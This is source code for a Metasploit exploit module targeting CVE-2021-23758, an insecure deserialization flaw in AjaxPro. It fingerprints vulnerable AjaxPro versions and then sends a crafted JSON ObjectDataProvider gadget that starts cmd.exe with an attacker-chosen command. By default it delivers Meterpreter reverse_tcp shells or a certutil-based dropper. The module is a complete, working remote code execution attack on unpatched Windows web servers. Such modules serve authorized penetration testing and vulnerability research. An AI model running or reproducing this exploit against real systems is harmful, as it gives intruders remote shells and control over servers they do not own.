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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'AjaxPro Deserialization Remote Code Execution',
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        'Description' => %q{
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          This module leverages an insecure deserialization of data to get
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          remote code execution on the target OS in the context of the user
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          running the website which utilized AjaxPro.
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          To achieve code execution, the module will construct some JSON data
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          which will be sent to the target. This data will be deserialized by
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          the AjaxPro JsonDeserializer and will trigger the execution of the
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          payload.
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          All AjaxPro versions prior to 21.10.30.1 are vulnerable to this
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          issue, and a vulnerable method which can be used to trigger the
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          deserialization exists in the default AjaxPro namespace.
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          AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom
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          method that accepts a parameter of type that is assignable from
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          `ObjectDataProvider` (e.g. `object`) exists, the vulnerability can
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          still be exploited.
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          This module has been tested successfully against official AjaxPro on
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          version 7.7.31.1 without any modification, and on version 21.10.30.1
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          with a custom vulnerable method added.
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        },
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        'Author' => [
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          'Hans-Martin Münch (MOGWAI LABS)', # Discovery
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          'Jemmy Wang' # MSF Module
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        ],
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        'References' => [
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          ['CVE', '2021-23758'],
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          ['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']
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        ],
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        'DisclosureDate' => '2021-12-03',
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        'License' => MSF_LICENSE,
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        'Platform' => ['windows'],
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        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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        'Privileged' => false,
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        'Targets' => [
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          [
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            'Windows Command',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_CMD,
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              'Type' => :win_cmd,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
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              }
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            }
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          ],
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          [
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            'Windows Dropper',
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            {
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              'Platform' => 'win',
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :win_dropper,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
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                'CMDSTAGER::FLAVOR' => 'certutil'
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              },
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              'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]
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            }
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          ],
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        ],
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        'DefaultOptions' => { 'WfsDelay' => 30 },
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options([
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      OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),
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      OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),
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      OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),
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      OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])
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    ])
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    @ajax_pro = { ID: 'AjaxPro' }
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  end
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  def check
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, 'core.ashx'),
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      'keep_cookies' => true
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    )
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    unless res
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      return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")
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    end
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    unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')
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      return CheckCode::Safe('Is not AjaxPro?')
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    end
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    unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)
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      return CheckCode::Detected('Failed to get AjaxPro ID.')
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    end
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    @ajax_pro[:ID] = cap[0]
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    unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)
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      return CheckCode::Detected('Failed to get AjaxPro version.')
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    end
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    @ajax_pro[:version] = cap[0]
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    if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')
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      return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")
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    end
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
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      'keep_cookies' => true
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    )
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    unless res
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      return CheckCode::Appears('Failed to check if the target method exists.')
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    end
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    unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)
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      return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")
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    end
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    CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")
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  end
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  def execute_command(cmd, _opts = {})
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    vprint_status("Executing command: #{cmd}")
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    json_post_data = JSON.generate(
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      {
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        "#{datastore['Parameter']}": {
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          __type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
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          MethodName: 'Start',
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          ObjectInstance: {
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            __type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
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            StartInfo: {
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              __type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
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              FileName: 'cmd',
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              Arguments: "/c #{cmd}"
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            }
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        }
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
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      'ctype' => 'text/plain; charset=utf-8',
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      'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },
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      'data' => json_post_data
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    })
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    unless res
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      fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")
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    end
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    unless res.code == 200
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      fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")
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    end
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  end
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  def exploit
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    case target['Type']
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    when :win_cmd
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      execute_command(payload.encoded)
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    when :win_dropper
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      execute_cmdstager(background: true, delay: 1)
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    end
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  end
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end
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